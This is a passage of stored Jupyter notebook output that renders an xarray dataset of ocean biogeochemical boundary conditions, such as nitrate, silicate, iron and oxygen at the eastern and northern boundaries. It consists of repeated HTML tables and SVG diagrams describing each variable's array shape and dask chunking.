:</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray 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for='attrs-176a2716-5baa-450c-81fb-cf4ba3b37a83' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-66225cb6-b6e0-4a25-aead-8088a8606814' class='xr-var-data-in' type='checkbox'><label for='data-66225cb6-b6e0-4a25-aead-8088a8606814' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary diazotroph phosphorus</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>diazFe_east</span></div><div class='xr-var-dims'>(bry_time, s_rho, eta_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-7779d0ef-38d1-4f63-a6b8-aa336c8d6b32' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7779d0ef-38d1-4f63-a6b8-aa336c8d6b32' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7f40a928-e15a-483a-b2b3-8cb104d15aba' class='xr-var-data-in' type='checkbox'><label for='data-7f40a928-e15a-483a-b2b3-8cb104d15aba' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary diazotroph iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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:</span></dt><dd>eastern boundary small phytoplankton CaCO3</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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for='data-76e91181-21df-421b-b70a-b6a3b9fe8ed6' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>eastern boundary zooplankton carbon</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 87 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines 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for='attrs-0e5eec78-5c12-4af5-85b6-cc43ec1eaada' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7a52bb68-e439-418c-96cc-46e95b8c8d36' class='xr-var-data-in' type='checkbox'><label for='data-7a52bb68-e439-418c-96cc-46e95b8c8d36' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved inorganic phosphate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 68 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 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x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>NO3_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-c6a27131-2eae-4a94-b34e-6a69a3ee64f9' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-c6a27131-2eae-4a94-b34e-6a69a3ee64f9' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-d3353ec7-05b1-4735-baa5-a0eceb82f502' class='xr-var-data-in' type='checkbox'><label for='data-d3353ec7-05b1-4735-baa5-a0eceb82f502' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved inorganic nitrate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" 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y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>SiO3_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-3b40ec12-498e-44dd-846d-8ae58c4ef790' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-3b40ec12-498e-44dd-846d-8ae58c4ef790' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-5c5d3560-809b-493c-b49b-9057ca888ff8' class='xr-var-data-in' type='checkbox'><label for='data-5c5d3560-809b-493c-b49b-9057ca888ff8' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved inorganic silicate</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" 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points=\"10.0,0.0 130.0,0.0 153.2217303476509,23.22173034765088 33.221730347650876,23.22173034765088\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" 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for='data-55002da1-896d-46f3-bd33-385cbedec9c9' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved ammonia</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"130\" y2=\"0\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines 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for='attrs-02129fb0-b48b-43e4-bfa0-8b0eafd6ef5b' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-4dded3ed-d639-4ce0-8c9d-b7595218b59d' class='xr-var-data-in' type='checkbox'><label for='data-4dded3ed-d639-4ce0-8c9d-b7595218b59d' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary dissolved inorganic iron</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"10.0,0.0 33.221730347650876,23.22173034765088 33.221730347650876,140.86878917118028 10.0,117.6470588235294\" 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y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(45,11.610865,149.257924)\">12</text>\n", "</svg>\n", " </td>\n", " </tr>\n", "</table></div></li><li class='xr-var-item'><div class='xr-var-name'><span>Lig_north</span></div><div class='xr-var-dims'>(bry_time, s_rho, xi_rho)</div><div class='xr-var-dtype'>float32</div><div class='xr-var-preview xr-preview'>dask.array&lt;chunksize=(12, 100, 102), meta=np.ndarray&gt;</div><input id='attrs-7849be64-74b6-4b6b-ae50-02e643f08cf7' class='xr-var-attrs-in' type='checkbox' ><label for='attrs-7849be64-74b6-4b6b-ae50-02e643f08cf7' title='Show/Hide attributes'><svg class='icon xr-icon-file-text2'><use xlink:href='#icon-file-text2'></use></svg></label><input id='data-7b0257f6-5603-449a-807c-acf7e80b5e20' class='xr-var-data-in' type='checkbox'><label for='data-7b0257f6-5603-449a-807c-acf7e80b5e20' title='Show/Hide data repr'><svg class='icon xr-icon-database'><use xlink:href='#icon-database'></use></svg></label><div class='xr-var-attrs'><dl class='xr-attrs'><dt><span>long_name :</span></dt><dd>northern boundary iron binding ligand</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"33\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"10\" y1=\"117\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"10\" y1=\"0\" x2=\"10\" y2=\"117\" style=\"stroke-width:2\" />\n", " <line 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<line x1=\"33\" y1=\"140\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Vertical lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"33\" y2=\"140\" style=\"stroke-width:2\" />\n", " <line x1=\"153\" y1=\"23\" x2=\"153\" y2=\"140\" style=\"stroke-width:2\" />\n", "\n", " <!-- Colored Rectangle -->\n", " <polygon points=\"33.221730347650876,23.22173034765088 153.22173034765086,23.22173034765088 153.22173034765086,140.86878917118028 33.221730347650876,140.86878917118028\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Text -->\n", " <text x=\"93.221730\" y=\"160.868789\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" >102</text>\n", " <text x=\"173.221730\" y=\"82.045260\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" transform=\"rotate(-90,173.221730,82.045260)\">100</text>\n", " <text x=\"11.610865\" y=\"149.257924\" font-size=\"1.0rem\" font-weight=\"100\" text-anchor=\"middle\" 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:</span></dt><dd>northern boundary dissolved oxygen</dd><dt><span>units :</span></dt><dd>mmol/m^3</dd></dl></div><div class='xr-var-data'><table>\n", " <tr>\n", " <td>\n", " <table style=\"border-collapse: collapse;\">\n", " <thead>\n", " <tr>\n", " <td> </td>\n", " <th> Array </th>\n", " <th> Chunk </th>\n", " </tr>\n", " </thead>\n", " <tbody>\n", " \n", " <tr>\n", " <th> Bytes </th>\n", " <td> 478.12 kiB </td>\n", " <td> 478.12 kiB </td>\n", " </tr>\n", " \n", " <tr>\n", " <th> Shape </th>\n", " <td> (12, 100, 102) </td>\n", " <td> (12, 100, 102) </td>\n", " </tr>\n", " <tr>\n", " <th> Dask graph </th>\n", " <td colspan=\"2\"> 1 chunks in 72 graph layers </td>\n", " </tr>\n", " <tr>\n", " <th> Data type </th>\n", " <td colspan=\"2\"> float32 numpy.ndarray </td>\n", " </tr>\n", " </tbody>\n", " </table>\n", " </td>\n", " <td>\n", " <svg width=\"203\" height=\"190\" style=\"stroke:rgb(0,0,0);stroke-width:1\" >\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"10\" y1=\"0\" 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points=\"10.0,0.0 130.0,0.0 153.2217303476509,23.22173034765088 33.221730347650876,23.22173034765088\" style=\"fill:#ECB172A0;stroke-width:0\"/>\n", "\n", " <!-- Horizontal lines -->\n", " <line x1=\"33\" y1=\"23\" x2=\"153\" y2=\"23\" style=\"stroke-width:2\" />\n", " <line x1=\"33\" y1=\"140\" 